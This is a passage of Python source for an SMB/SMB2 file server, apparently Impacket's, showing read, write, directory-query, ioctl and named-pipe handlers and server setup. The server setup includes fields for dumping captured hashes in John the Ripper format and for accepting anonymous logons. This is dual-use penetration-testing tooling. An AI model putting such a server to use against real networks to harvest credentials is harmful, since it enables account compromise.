smbServer.log(\"smb2SetInfo: %s\" % e, logging.ERROR, connData=connData)\n                                errorCode = STATUS_ACCESS_DENIED\n                    elif informationLevel == smb2.SMB2_FILE_ALLOCATION_INFO:\n                        # See https://github.com/samba-team/samba/blob/master/source3/smbd/smb2_trans2.c#LL5201C8-L5201C39\n                        smbServer.log(\"Warning: SMB2_FILE_ALLOCATION_INFO not implemented\")\n                        errorCode = STATUS_SUCCESS\n                    else:\n                        smbServer.log('Unknown level for set file info! 0x%x' % informationLevel, logging.ERROR, connData=connData)\n                        # UNSUPPORTED\n                        errorCode = STATUS_NOT_SUPPORTED\n                # elif setInfo['InfoType'] == smb2.SMB2_0_INFO_FILESYSTEM:\n                #    # The underlying object store information is being set.\n                #    setInfo = queryFsInformation('/', fileName, queryInfo['FileInfoClass'])\n                # elif setInfo['InfoType'] == smb2.SMB2_0_INFO_SECURITY:\n                #    # The security information is being set.\n                #    # Failing for now, until we support it\n                #    infoRecord = None\n                #    errorCode = STATUS_ACCESS_DENIED\n                # elif setInfo['InfoType'] == smb2.SMB2_0_INFO_QUOTA:\n                #    # The underlying object store quota information is being set.\n                #    setInfo = queryFsInformation('/', fileName, queryInfo['FileInfoClass'])\n                else:\n                    smbServer.log(\"setInfo not supported (%x)\" % setInfo['InfoType'], logging.ERROR, connData=connData)\n\n            else:\n                errorCode = STATUS_INVALID_HANDLE\n        else:\n            errorCode = STATUS_SMB_BAD_TID\n\n        smbServer.setConnectionData(connId, connData)\n        return [respSMBCommand], None, errorCode\n\n    @staticmethod\n    def smb2Write(connId, smbServer, recvPacket):\n        connData = smbServer.getConnectionData(connId)\n\n        respSMBCommand = smb2.SMB2Write_Response()\n        writeRequest = smb2.SMB2Write(recvPacket['Data'])\n\n        respSMBCommand['Buffer'] = b'\\x00'\n\n        if writeRequest['FileID'].getData() == b'\\xff' * 16:\n            # Let's take the data from the lastRequest\n            if 'SMB2_CREATE' in connData['LastRequest']:\n                fileID = connData['LastRequest']['SMB2_CREATE']['FileID']\n            else:\n                fileID = writeRequest['FileID'].getData()\n        else:\n            fileID = writeRequest['FileID'].getData()\n\n        # Get the Tid associated\n        if recvPacket['TreeID'] in connData['ConnectedShares']:\n            if fileID in connData['OpenedFiles']:\n                fileHandle = connData['OpenedFiles'][fileID]['FileHandle']\n                fileName = connData['OpenedFiles'][fileID]['FileName']\n                smbServer.log(\"smb2Write: %s\" % fileName, logging.INFO, connData=connData)\n                errorCode = STATUS_SUCCESS\n                try:\n                    if fileHandle != PIPE_FILE_DESCRIPTOR:\n                        offset = writeRequest['Offset']\n                        # If we're trying to write past the file end we just skip the write call (Vista does this)\n                        if os.lseek(fileHandle, 0, 2) >= offset:\n                            os.lseek(fileHandle, offset, 0)\n                            os.write(fileHandle, writeRequest['Buffer'])\n                    else:\n                        sock = connData['OpenedFiles'][fileID]['Socket']\n                        sock.send(writeRequest['Buffer'])\n\n                    respSMBCommand['Count'] = writeRequest['Length']\n                    respSMBCommand['Remaining'] = 0xff\n                except Exception as e:\n                    smbServer.log('SMB2_WRITE: %s' % e, logging.ERROR, connData=connData)\n                    errorCode = STATUS_ACCESS_DENIED\n            else:\n                errorCode = STATUS_INVALID_HANDLE\n        else:\n            errorCode = STATUS_SMB_BAD_TID\n\n        smbServer.setConnectionData(connId, connData)\n        return [respSMBCommand], None, errorCode\n\n    @staticmethod\n    def smb2Read(connId, smbServer, recvPacket):\n        connData = smbServer.getConnectionData(connId)\n\n        respSMBCommand = smb2.SMB2Read_Response()\n        readRequest = smb2.SMB2Read(recvPacket['Data'])\n\n        respSMBCommand['Buffer'] = b'\\x00'\n\n        if readRequest['FileID'].getData() == b'\\xff' * 16:\n            # Let's take the data from the lastRequest\n            if 'SMB2_CREATE' in connData['LastRequest']:\n                fileID = connData['LastRequest']['SMB2_CREATE']['FileID']\n            else:\n                fileID = readRequest['FileID'].getData()\n        else:\n            fileID = readRequest['FileID'].getData()\n\n        # Get the Tid associated\n        if recvPacket['TreeID'] in connData['ConnectedShares']:\n            if fileID in connData['OpenedFiles']:\n                fileHandle = connData['OpenedFiles'][fileID]['FileHandle']\n                fileName = connData['OpenedFiles'][fileID]['FileName']\n                smbServer.log(\"smb2Read: %s\" % fileName, logging.INFO, connData=connData)\n                errorCode = 0\n                try:\n                    if fileHandle != PIPE_FILE_DESCRIPTOR:\n                        offset = readRequest['Offset']\n                        os.lseek(fileHandle, offset, 0)\n                        content = os.read(fileHandle, readRequest['Length'])\n                    else:\n                        sock = connData['OpenedFiles'][fileID]['Socket']\n                        content = sock.recv(readRequest['Length'])\n\n                    respSMBCommand['DataOffset'] = 0x50\n                    respSMBCommand['DataLength'] = len(content)\n                    respSMBCommand['DataRemaining'] = 0\n                    respSMBCommand['Buffer'] = content\n                    if len(content) == 0:\n                        errorCode = STATUS_END_OF_FILE\n                except Exception as e:\n                    smbServer.log('SMB2_READ: %s ' % e, logging.ERROR, connData=connData)\n                    errorCode = STATUS_ACCESS_DENIED\n            else:\n                errorCode = STATUS_INVALID_HANDLE\n        else:\n            errorCode = STATUS_SMB_BAD_TID\n\n        smbServer.setConnectionData(connId, connData)\n        return [respSMBCommand], None, errorCode\n\n    @staticmethod\n    def smb2Flush(connId, smbServer, recvPacket):\n        connData = smbServer.getConnectionData(connId)\n\n        respSMBCommand = smb2.SMB2Flush_Response()\n        flushRequest = smb2.SMB2Flush(recvPacket['Data'])\n\n        # Get the Tid associated\n        if recvPacket['TreeID'] in connData['ConnectedShares']:\n            fileID = flushRequest['FileID'].getData()\n            if fileID in connData['OpenedFiles']:\n                fileHandle = connData['OpenedFiles'][fileID]['FileHandle']\n                fileName = connData['OpenedFiles'][fileID]['FileName']\n                smbServer.log(\"smb2Flush: %s\" % fileName, logging.INFO, connData=connData)\n                errorCode = STATUS_SUCCESS\n                try:\n                    os.fsync(fileHandle)\n                except Exception as e:\n                    smbServer.log(\"SMB2_FLUSH %s\" % e, logging.ERROR, connData=connData)\n                    errorCode = STATUS_ACCESS_DENIED\n            else:\n                errorCode = STATUS_INVALID_HANDLE\n        else:\n            errorCode = STATUS_SMB_BAD_TID\n\n        smbServer.setConnectionData(connId, connData)\n        return [respSMBCommand], None, errorCode\n\n    @staticmethod\n    def smb2QueryDirectory(connId, smbServer, recvPacket):\n        connData = smbServer.getConnectionData(connId)\n        respSMBCommand = smb2.SMB2QueryDirectory_Response()\n        queryDirectoryRequest = smb2.SMB2QueryDirectory(recvPacket['Data'])\n\n        respSMBCommand['Buffer'] = b'\\x00'\n\n        # The server MUST locate the tree connection, as specified in section 3.3.5.2.11.\n        if (recvPacket['TreeID'] in connData['ConnectedShares']) is False:\n            return [smb2.SMB2Error()], None, STATUS_NETWORK_NAME_DELETED\n\n        # Next, the server MUST locate the open for the directory to be queried\n        # If no open is found, the server MUST fail the request with STATUS_FILE_CLOSED\n        if queryDirectoryRequest['FileID'].getData() == b'\\xff' * 16:\n            # Let's take the data from the lastRequest\n            if 'SMB2_CREATE' in connData['LastRequest']:\n                fileID = connData['LastRequest']['SMB2_CREATE']['FileID']\n            else:\n                fileID = queryDirectoryRequest['FileID'].getData()\n        else:\n            fileID = queryDirectoryRequest['FileID'].getData()\n\n        if (fileID in connData['OpenedFiles']) is False:\n            return [smb2.SMB2Error()], None, STATUS_FILE_CLOSED\n        fileName = connData['OpenedFiles'][fileID]['FileName']\n        smbServer.log(\"smb2QueryDirectory: %s\" % fileName, logging.INFO, connData=connData)\n\n        # If the open is not an open to a directory, the request MUST be failed\n        # with STATUS_INVALID_PARAMETER.\n        if os.path.isdir(connData['OpenedFiles'][fileID]['FileName']) is False:\n            return [smb2.SMB2Error()], None, STATUS_INVALID_PARAMETER\n\n        # If any other information class is specified in the FileInformationClass\n        # field of the SMB2 QUERY_DIRECTORY Request, the server MUST fail the\n        # operation with STATUS_INVALID_INFO_CLASS.\n        if queryDirectoryRequest['FileInformationClass'] not in (\n                smb2.FILE_DIRECTORY_INFORMATION, smb2.FILE_FULL_DIRECTORY_INFORMATION,\n                smb2.FILEID_FULL_DIRECTORY_INFORMATION,\n                smb2.FILE_BOTH_DIRECTORY_INFORMATION, smb2.FILEID_BOTH_DIRECTORY_INFORMATION,\n                smb2.FILENAMES_INFORMATION):\n            return [smb2.SMB2Error()], None, STATUS_INVALID_INFO_CLASS\n\n        # If SMB2_REOPEN is set in the Flags field of the SMB2 QUERY_DIRECTORY\n        # Request, the server SHOULD<326> set Open.EnumerationLocation to 0\n        # and Open.EnumerationSearchPattern to an empty string.\n        if queryDirectoryRequest['Flags'] & smb2.SMB2_REOPEN:\n            connData['OpenedFiles'][fileID]['Open']['EnumerationLocation'] = 0\n            connData['OpenedFiles'][fileID]['Open']['EnumerationSearchPattern'] = ''\n\n        # If SMB2_RESTART_SCANS is set in the Flags field of the SMB2\n        # QUERY_DIRECTORY Request, the server MUST set\n        # Open.EnumerationLocation to 0.\n        if queryDirectoryRequest['Flags'] & smb2.SMB2_RESTART_SCANS:\n            connData['OpenedFiles'][fileID]['Open']['EnumerationLocation'] = 0\n\n        # If Open.EnumerationLocation is 0 and Open.EnumerationSearchPattern\n        # is an empty string, then Open.EnumerationSearchPattern MUST be set\n        # to the search pattern specified in the SMB2 QUERY_DIRECTORY by\n        # FileNameOffset and FileNameLength. If FileNameLength is 0, the server\n        # SHOULD<327> set Open.EnumerationSearchPattern as \"*\" to search all entries.\n\n        pattern = queryDirectoryRequest['Buffer'].decode('utf-16le')\n        if connData['OpenedFiles'][fileID]['Open']['EnumerationLocation'] == 0 and \\\n                connData['OpenedFiles'][fileID]['Open']['EnumerationSearchPattern'] == '':\n            if pattern == '':\n                pattern = '*'\n            connData['OpenedFiles'][fileID]['Open']['EnumerationSearchPattern'] = pattern\n\n        # If SMB2_INDEX_SPECIFIED is set and FileNameLength is not zero,\n        # the server MUST set Open.EnumerationSearchPattern to the search pattern\n        # specified in the request by FileNameOffset and FileNameLength.\n        if queryDirectoryRequest['Flags'] & smb2.SMB2_INDEX_SPECIFIED and \\\n                queryDirectoryRequest['FileNameLength'] > 0:\n            connData['OpenedFiles'][fileID]['Open']['EnumerationSearchPattern'] = pattern\n\n        pathName = os.path.join(os.path.normpath(connData['OpenedFiles'][fileID]['FileName']), pattern)\n        searchResult, searchCount, errorCode = findFirst2(os.path.dirname(pathName),\n                                                          os.path.basename(pathName),\n                                                          queryDirectoryRequest['FileInformationClass'],\n                                                          smb.ATTR_DIRECTORY, isSMB2=True)\n\n        if errorCode != STATUS_SUCCESS:\n            return [smb2.SMB2Error()], None, errorCode\n\n        if searchCount > 2 and pattern == '*':\n            # strip . and ..\n            searchCount -= 2\n            searchResult = searchResult[2:]\n\n        if searchCount == 0 and connData['OpenedFiles'][fileID]['Open']['EnumerationLocation'] == 0:\n            return [smb2.SMB2Error()], None, STATUS_NO_SUCH_FILE\n\n        if connData['OpenedFiles'][fileID]['Open']['EnumerationLocation'] < 0:\n            return [smb2.SMB2Error()], None, STATUS_NO_MORE_FILES\n\n        totalData = 0\n        respData = b''\n        for nItem in range(connData['OpenedFiles'][fileID]['Open']['EnumerationLocation'], searchCount):\n            connData['OpenedFiles'][fileID]['Open']['EnumerationLocation'] += 1\n            if queryDirectoryRequest['Flags'] & smb2.SL_RETURN_SINGLE_ENTRY:\n                # If single entry is requested we must clear the NextEntryOffset\n                searchResult[nItem]['NextEntryOffset'] = 0\n            data = searchResult[nItem].getData()\n            lenData = len(data)\n            padLen = (8 - (lenData % 8)) % 8\n\n            # For larger directory we might reach the OutputBufferLength so we need to set \n            # the NextEntryOffset to 0 for the last entry the will fit the buffer\n            try:\n                # Check if the next data will exceed the OutputBufferLength\n                nextData = searchResult[nItem + 1].getData()\n                lenNextData = len(nextData)\n                nextTotalData = totalData + lenData + padLen + lenNextData\n                if nextTotalData >= queryDirectoryRequest['OutputBufferLength']:\n                    # Set the NextEntryOffset to 0 and get the data again\n                    searchResult[nItem]['NextEntryOffset'] = 0\n                    data = searchResult[nItem].getData()\n            except IndexError:\n                pass\n\n            if (totalData + lenData) >= queryDirectoryRequest['OutputBufferLength']:\n                connData['OpenedFiles'][fileID]['Open']['EnumerationLocation'] -= 1\n                break\n            else:\n                respData += data + b'\\x00' * padLen\n                totalData += lenData + padLen\n\n            if queryDirectoryRequest['Flags'] & smb2.SL_RETURN_SINGLE_ENTRY:\n                break\n\n        if connData['OpenedFiles'][fileID]['Open']['EnumerationLocation'] >= searchCount:\n            connData['OpenedFiles'][fileID]['Open']['EnumerationLocation'] = -1\n\n        respSMBCommand['OutputBufferOffset'] = 0x48\n        respSMBCommand['OutputBufferLength'] = totalData\n        respSMBCommand['Buffer'] = respData\n\n        smbServer.setConnectionData(connId, connData)\n        return [respSMBCommand], None, errorCode\n\n    @staticmethod\n    def smb2ChangeNotify(connId, smbServer, recvPacket):\n\n        return [smb2.SMB2Error()], None, STATUS_NOT_SUPPORTED\n\n    @staticmethod\n    def smb2Echo(connId, smbServer, recvPacket):\n\n        respSMBCommand = smb2.SMB2Echo_Response()\n\n        return [respSMBCommand], None, STATUS_SUCCESS\n\n    @staticmethod\n    def smb2TreeDisconnect(connId, smbServer, recvPacket):\n        connData = smbServer.getConnectionData(connId)\n\n        respSMBCommand = smb2.SMB2TreeDisconnect_Response()\n\n        # Get the Tid associated\n        if recvPacket['TreeID'] in connData['ConnectedShares']:\n            smbServer.log(\"Disconnecting Share(%d:%s)\" % (\n                recvPacket['TreeID'], connData['ConnectedShares'][recvPacket['TreeID']]['shareName']), connData=connData)\n            del (connData['ConnectedShares'][recvPacket['TreeID']])\n            errorCode = STATUS_SUCCESS\n        else:\n            errorCode = STATUS_SMB_BAD_TID\n\n        smbServer.setConnectionData(connId, connData)\n        return [respSMBCommand], None, errorCode\n\n    @staticmethod\n    def smb2Logoff(connId, smbServer, recvPacket):\n        connData = smbServer.getConnectionData(connId)\n\n        respSMBCommand = smb2.SMB2Logoff_Response()\n\n        if recvPacket['SessionID'] != connData['Uid']:\n            # STATUS_SMB_BAD_UID\n            errorCode = STATUS_SMB_BAD_UID\n        else:\n            errorCode = STATUS_SUCCESS\n\n        connData['Uid'] = 0\n        connData['Authenticated'] = False\n\n        smbServer.setConnectionData(connId, connData)\n        return [respSMBCommand], None, errorCode\n\n    @staticmethod\n    def smb2Ioctl(connId, smbServer, recvPacket):\n        connData = smbServer.getConnectionData(connId)\n\n        respSMBCommand = smb2.SMB2Ioctl_Response()\n        ioctlRequest = smb2.SMB2Ioctl(recvPacket['Data'])\n\n        ioctls = smbServer.getIoctls()\n        if ioctlRequest['CtlCode'] in ioctls:\n            outputData, errorCode = ioctls[ioctlRequest['CtlCode']](connId, smbServer, ioctlRequest)\n            if errorCode == STATUS_SUCCESS:\n                respSMBCommand['CtlCode'] = ioctlRequest['CtlCode']\n                respSMBCommand['FileID'] = ioctlRequest['FileID']\n                respSMBCommand['InputOffset'] = 0\n                respSMBCommand['InputCount'] = 0\n                respSMBCommand['OutputOffset'] = 0x70\n                respSMBCommand['OutputCount'] = len(outputData)\n                respSMBCommand['Flags'] = 0\n                respSMBCommand['Buffer'] = outputData\n            else:\n                respSMBCommand = outputData\n        else:\n            smbServer.log(\"Ioctl not implemented command: 0x%x\" % ioctlRequest['CtlCode'], logging.DEBUG, connData=connData)\n            errorCode = STATUS_INVALID_DEVICE_REQUEST\n            respSMBCommand = smb2.SMB2Error()\n\n        smbServer.setConnectionData(connId, connData)\n        return [respSMBCommand], None, errorCode\n\n    @staticmethod\n    def smb2Lock(connId, smbServer, recvPacket):\n        connData = smbServer.getConnectionData(connId)\n\n        respSMBCommand = smb2.SMB2Lock_Response()\n\n        # I'm actually doing nothing.. just make MacOS happy ;)\n        errorCode = STATUS_SUCCESS\n\n        smbServer.setConnectionData(connId, connData)\n        return [respSMBCommand], None, errorCode\n\n    @staticmethod\n    def smb2Cancel(connId, smbServer, recvPacket):\n        # I'm actually doing nothing\n        return [smb2.SMB2Error()], None, STATUS_CANCELLED\n\n    @staticmethod\n    def default(connId, smbServer, recvPacket):\n        # By default we return an SMB Packet with error not implemented\n        smbServer.log(\"Not implemented command: 0x%x\" % recvPacket['Command'], logging.DEBUG)\n        return [smb2.SMB2Error()], None, STATUS_NOT_SUPPORTED\n\n\nclass Ioctls:\n    @staticmethod\n    def fsctlDfsGetReferrals(connId, smbServer, ioctlRequest):\n        return smb2.SMB2Error(), STATUS_FS_DRIVER_REQUIRED\n\n    @staticmethod\n    def fsctlPipeTransceive(connId, smbServer, ioctlRequest):\n        connData = smbServer.getConnectionData(connId)\n\n        ioctlResponse = ''\n\n        if ioctlRequest['FileID'].getData() in connData['OpenedFiles']:\n            fileHandle = connData['OpenedFiles'][ioctlRequest['FileID'].getData()]['FileHandle']\n            errorCode = STATUS_SUCCESS\n            try:\n                if fileHandle != PIPE_FILE_DESCRIPTOR:\n                    errorCode = STATUS_INVALID_DEVICE_REQUEST\n                else:\n                    sock = connData['OpenedFiles'][ioctlRequest['FileID'].getData()]['Socket']\n                    sock.sendall(ioctlRequest['Buffer'])\n                    ioctlResponse = sock.recv(ioctlRequest['MaxOutputResponse'])\n            except Exception as e:\n                smbServer.log('fsctlPipeTransceive: %s ' % e, logging.ERROR, connData=connData)\n                errorCode = STATUS_ACCESS_DENIED\n        else:\n            errorCode = STATUS_INVALID_DEVICE_REQUEST\n\n        smbServer.setConnectionData(connId, connData)\n        return ioctlResponse, errorCode\n\n    @staticmethod\n    def fsctlValidateNegotiateInfo(connId, smbServer, ioctlRequest):\n        connData = smbServer.getConnectionData(connId)\n\n        errorCode = STATUS_SUCCESS\n\n        validateNegotiateInfo = smb2.VALIDATE_NEGOTIATE_INFO(ioctlRequest['Buffer'])\n        validateNegotiateInfoResponse = smb2.VALIDATE_NEGOTIATE_INFO_RESPONSE()\n        validateNegotiateInfoResponse['Capabilities'] = 0\n        validateNegotiateInfoResponse['Guid'] = b'A' * 16\n        validateNegotiateInfoResponse['SecurityMode'] = 1\n        validateNegotiateInfoResponse['Dialect'] = smb2.SMB2_DIALECT_002\n\n        smbServer.setConnectionData(connId, connData)\n        return validateNegotiateInfoResponse.getData(), errorCode\n\n\nclass SMBSERVERHandler(socketserver.BaseRequestHandler):\n    def __init__(self, request, client_address, server, select_poll=False):\n        self.__SMB = server\n        # In case of AF_INET6 the client_address contains 4 items, ignore the last 2\n        self.__ip, self.__port = client_address[:2]\n        self.__request = request\n        self.__connId = threading.current_thread().name\n        self.__timeOut = 60 * 5\n        self.__select_poll = select_poll\n        # self.__connId = os.getpid()\n        socketserver.BaseRequestHandler.__init__(self, request, client_address, server)\n\n    def handle(self):\n        self.__SMB.log(\"Incoming connection (%s,%d)\" % (self.__ip, self.__port))\n        self.__SMB.addConnection(self.__connId, self.__ip, self.__port)\n        while True:\n            try:\n                # First of all let's get the NETBIOS packet\n                session = nmb.NetBIOSTCPSession(self.__SMB.getServerName(), 'HOST', self.__ip, sess_port=self.__port,\n                                                sock=self.__request, select_poll=self.__select_poll)\n                try:\n                    p = session.recv_packet(self.__timeOut)\n                except nmb.NetBIOSTimeout:\n                    raise\n                except nmb.NetBIOSError:\n                    break\n\n                if p.get_type() == nmb.NETBIOS_SESSION_REQUEST:\n                    # Someone is requesting a session, we're gonna accept them all :)\n                    _, rn, my = p.get_trailer().split(b' ')\n                    remote_name = nmb.decode_name(b'\\x20' + rn)\n                    myname = nmb.decode_name(b'\\x20' + my)\n                    self.__SMB.log(\n                        \"NetBIOS Session request (%s,%s,%s)\" % (self.__ip, remote_name[1].strip(), myname[1]))\n                    r = nmb.NetBIOSSessionPacket()\n                    r.set_type(nmb.NETBIOS_SESSION_POSITIVE_RESPONSE)\n                    r.set_trailer(p.get_trailer())\n                    self.__request.send(r.rawData())\n                else:\n                    resp = self.__SMB.processRequest(self.__connId, p.get_trailer())\n                    # Send all the packets received. Except for big transactions this should be\n                    # a single packet\n                    for i in resp:\n                        if hasattr(i, 'getData'):\n                            session.send_packet(i.getData())\n                        else:\n                            session.send_packet(i)\n            except Exception as e:\n                self.__SMB.log(\"Handle: %s\" % e)\n                import traceback\n                traceback.print_exc()\n                break\n\n    def finish(self):\n        # Thread/process is dying, we should tell the main SMB thread to remove all this thread data\n        self.__SMB.log(\"Closing down connection (%s,%d)\" % (self.__ip, self.__port))\n        self.__SMB.removeConnection(self.__connId)\n        return socketserver.BaseRequestHandler.finish(self)\n\n\nclass SMBSERVER(socketserver.ThreadingMixIn, socketserver.TCPServer):\n    # class SMBSERVER(socketserver.ForkingMixIn, socketserver.TCPServer):\n    def __init__(self, server_address, handler_class=SMBSERVERHandler, config_parser=None, ipv6=False):\n        # duplicate of https://github.com/fortra/impacket/blob/082dca34a376d13c70b0df6a1d9048ce98fe9498/impacket/examples/utils.py#L323\n        # didn't reuse that same function in order not to make a class from the library depend on one from impacket/examples\n        if ipv6:\n            self.address_family = socket.AF_INET6\n            # scope_id (after %) can be present or not - if not, default: 0\n            ip_parts = server_address[0].split('%')\n            scope_id = ip_parts[1] if len(ip_parts) == 2 else 0\n            # convert scope_id to int (expected by s.connect)\n            # if exception, assume the interface name and convert to index\n            try:\n                scope_id = int(scope_id)\n            except ValueError:\n                scope_id = socket.if_nametoindex(scope_id)\n            server_address = server_address + (0, scope_id)\n\n        socketserver.TCPServer.allow_reuse_address = True\n        socketserver.TCPServer.__init__(self, server_address, handler_class)\n\n        # Server name and OS to be presented whenever is necessary\n        self.__serverName = ''\n        self.__serverOS = ''\n        self.__serverDomain = ''\n        self.__challenge = ''\n        self.__log = None\n\n        self.__computerAccountName = ''\n        self.__computerAccountNTHash = ''\n        self.__computerAccountAES = ''\n        self.__computerAccountPassword = ''\n        self.__computerAccountDomain = ''\n        self.__domainControllerIP = ''\n\n        # Our ConfigParser data\n        self.__serverConfig = config_parser\n\n        # Our credentials to be used during the server's lifetime\n        self.__credentials = {}\n\n        # Our log file\n        self.__logFile = ''\n\n        # Registered Named Pipes, format is PipeName,Socket\n        self.__registeredNamedPipes = {}\n\n        # JTR dump path\n        self.__jtr_dump_path = ''\n\n        # SMB2 Support flag = default not active\n        self.__SMB2Support = False\n\n        self.__dropSSP = False\n        # Kerberos Support flag\n        self.__KerberosSupport = False\n\n        # NTLM Support flag\n        self.__NTLMSupport = True\n\n        # Allow anonymous logon\n        self.__anonymousLogon = True\n\n        self.auth_callback = None\n\n        # Our list of commands we will answer, by default the NOT IMPLEMENTED one\n        self.__smbCommandsHandler = SMBCommands()\n        self.__smbTrans2Handler = TRANS2Commands()\n        self.__smbTransHandler = TRANSCommands()\n        self.__smbNTTransHandler = NTTRANSCommands()\n        self.__smb2CommandsHandler = SMB2Commands()\n        self.__IoctlHandler = Ioctls()\n\n        self.__smbNTTransCommands = {\n            # NT IOCTL, can't find doc for this\n            0xff: self.__smbNTTransHandler.default\n        }\n\n        self.__smbTransCommands = {\n            '\\\\PIPE\\\\LANMAN': self.__smbTransHandler.lanMan,\n            smb.SMB.TRANS_TRANSACT_NMPIPE: self.__smbTransHandler.transactNamedPipe,\n        }\n        self.__smbTrans2Commands = {\n            smb.SMB.TRANS2_FIND_FIRST2: self.__smbTrans2Handler.findFirst2,\n            smb.SMB.TRANS2_FIND_NEXT2: self.__smbTrans2Handler.findNext2,\n            smb.SMB.TRANS2_QUERY_FS_INFORMATION: self.__smbTrans2Handler.queryFsInformation,\n            smb.SMB.TRANS2_QUERY_PATH_INFORMATION: self.__smbTrans2Handler.queryPathInformation,\n            smb.SMB.TRANS2_QUERY_FILE_INFORMATION: self.__smbTrans2Handler.queryFileInformation,\n            smb.SMB.TRANS2_SET_FILE_INFORMATION: self.__smbTrans2Handler.setFileInformation,\n            smb.SMB.TRANS2_SET_PATH_INFORMATION: self.__smbTrans2Handler.setPathInformation\n        }\n\n        self.__smbCommands = {\n            smb.SMB.SMB_COM_FLUSH: self.__smbCommandsHandler.smbComFlush,\n            smb.SMB.SMB_COM_CREATE_DIRECTORY: self.__smbCommandsHandler.smbComCreateDirectory,\n            smb.SMB.SMB_COM_DELETE_DIRECTORY: self.__smbCommandsHandler.smbComDeleteDirectory,\n            smb.SMB.SMB_COM_RENAME: self.__smbCommandsHandler.smbComRename,\n            smb.SMB.SMB_COM_DELETE: self.__smbCommandsHandler.smbComDelete,\n            smb.SMB.SMB_COM_NEGOTIATE: self.__smbCommandsHandler.smbComNegotiate,\n            smb.SMB.SMB_COM_SESSION_SETUP_ANDX: self.__smbCommandsHandler.smbComSessionSetupAndX,\n            smb.SMB.SMB_COM_LOGOFF_ANDX: self.__smbCommandsHandler.smbComLogOffAndX,\n            smb.SMB.SMB_COM_TREE_CONNECT_ANDX: self.__smbCommandsHandler.smbComTreeConnectAndX,\n            smb.SMB.SMB_COM_TREE_DISCONNECT: self.__smbCommandsHandler.smbComTreeDisconnect,\n            smb.SMB.SMB_COM_ECHO: self.__smbCommandsHandler.smbComEcho,\n            smb.SMB.SMB_COM_QUERY_INFORMATION: self.__smbCommandsHandler.smbQueryInformation,\n            smb.SMB.SMB_COM_TRANSACTION2: self.__smbCommandsHandler.smbTransaction2,\n            smb.SMB.SMB_COM_TRANSACTION: self.__smbCommandsHandler.smbTransaction,\n            # Not needed for now\n            smb.SMB.SMB_COM_NT_TRANSACT: self.__smbCommandsHandler.smbNTTransact,\n            smb.SMB.SMB_COM_QUERY_INFORMATION_DISK: self.__smbCommandsHandler.smbQueryInformationDisk,\n            smb.SMB.SMB_COM_OPEN_ANDX: self.__smbCommandsHandler.smbComOpenAndX,\n            smb.SMB.SMB_COM_QUERY_INFORMATION2: self.__smbCommandsHandler.smbComQueryInformation2,\n            smb.SMB.SMB_COM_READ_ANDX: self.__smbCommandsHandler.smbComReadAndX,\n            smb.SMB.SMB_COM_READ: self.__smbCommandsHandler.smbComRead,\n            smb.SMB.SMB_COM_WRITE_ANDX: self.__smbCommandsHandler.smbComWriteAndX,\n            smb.SMB.SMB_COM_WRITE: self.__smbCommandsHandler.smbComWrite,\n            smb.SMB.SMB_COM_CLOSE: self.__smbCommandsHandler.smbComClose,\n            smb.SMB.SMB_COM_LOCKING_ANDX: self.__smbCommandsHandler.smbComLockingAndX,\n            smb.SMB.SMB_COM_NT_CREATE_ANDX: self.__smbCommandsHandler.smbComNtCreateAndX,\n            0xFF: self.__smbCommandsHandler.default\n        }\n\n        self.__smb2Ioctls = {\n            smb2.FSCTL_DFS_GET_REFERRALS: self.__IoctlHandler.fsctlDfsGetReferrals,\n            # smb2.FSCTL_PIPE_PEEK:                    self.__IoctlHandler.fsctlPipePeek,\n            # smb2.FSCTL_PIPE_WAIT:                    self.__IoctlHandler.fsctlPipeWait,\n            smb2.FSCTL_PIPE_TRANSCEIVE: self.__IoctlHandler.fsctlPipeTransceive,\n            # smb2.FSCTL_SRV_COPYCHUNK:                self.__IoctlHandler.fsctlSrvCopyChunk,\n            # smb2.FSCTL_SRV_ENUMERATE_SNAPSHOTS:      self.__IoctlHandler.fsctlSrvEnumerateSnapshots,\n            # smb2.FSCTL_SRV_REQUEST_RESUME_KEY:       self.__IoctlHandler.fsctlSrvRequestResumeKey,\n            # smb2.FSCTL_SRV_READ_HASH:                self.__IoctlHandler.fsctlSrvReadHash,\n            # smb2.FSCTL_SRV_COPYCHUNK_WRITE:          self.__IoctlHandler.fsctlSrvCopyChunkWrite,\n            # smb2.FSCTL_LMR_REQUEST_RESILIENCY:       self.__IoctlHandler.fsctlLmrRequestResiliency,\n            # smb2.FSCTL_QUERY_NETWORK_INTERFACE_INFO: self.__IoctlHandler.fsctlQueryNetworkInterfaceInfo,\n            # smb2.FSCTL_SET_REPARSE_POINT:            self.__IoctlHandler.fsctlSetReparsePoint,\n            # smb2.FSCTL_DFS_GET_REFERRALS_EX:         self.__IoctlHandler.fsctlDfsGetReferralsEx,\n            # smb2.FSCTL_FILE_LEVEL_TRIM:              self.__IoctlHandler.fsctlFileLevelTrim,\n            smb2.FSCTL_VALIDATE_NEGOTIATE_INFO: self.__IoctlHandler.fsctlValidateNegotiateInfo,\n        }\n\n        self.__smb2Commands = {\n            smb2.SMB2_NEGOTIATE: self.__smb2CommandsHandler.smb2Negotiate,\n            smb2.SMB2_SESSION_SETUP: self.__smb2CommandsHandler.smb2SessionSetup,\n            smb2.SMB2_LOGOFF: self.__smb2CommandsHandler.smb2Logoff,\n            smb2.SMB2_TREE_CONNECT: self.__smb2CommandsHandler.smb2TreeConnect,\n            smb2.SMB2_TREE_DISCONNECT: self.__smb2CommandsHandler.smb2TreeDisconnect,\n            smb2.SMB2_CREATE: self.__smb2CommandsHandler.smb2Create,\n            smb2.SMB2_CLOSE: self.__smb2CommandsHandler.smb2Close,\n            smb2.SMB2_FLUSH: self.__smb2CommandsHandler.smb2Flush,\n            smb2.SMB2_READ: self.__smb2CommandsHandler.smb2Read,\n            smb2.SMB2_WRITE: self.__smb2CommandsHandler.smb2Write,\n            smb2.SMB2_LOCK: self.__smb2CommandsHandler.smb2Lock,\n            smb2.SMB2_IOCTL: self.__smb2CommandsHandler.smb2Ioctl,\n            smb2.SMB2_CANCEL: self.__smb2CommandsHandler.smb2Cancel,\n            smb2.SMB2_ECHO: self.__smb2CommandsHandler.smb2Echo,\n            smb2.SMB2_QUERY_DIRECTORY: self.__smb2CommandsHandler.smb2QueryDirectory,\n            smb2.SMB2_CHANGE_NOTIFY: self.__smb2CommandsHandler.smb2ChangeNotify,\n            smb2.SMB2_QUERY_INFO: self.__smb2CommandsHandler.smb2QueryInfo,\n            smb2.SMB2_SET_INFO: self.__smb2CommandsHandler.smb2SetInfo,\n            # smb2.SMB2_OPLOCK_BREAK:    self.__smb2CommandsHandler.smb2SessionSetup,\n            0xFF: self.__smb2CommandsHandler.default\n        }\n\n        # List of active connections\n        self.__activeConnections = {}\n\n    def getIoctls(self):\n        return 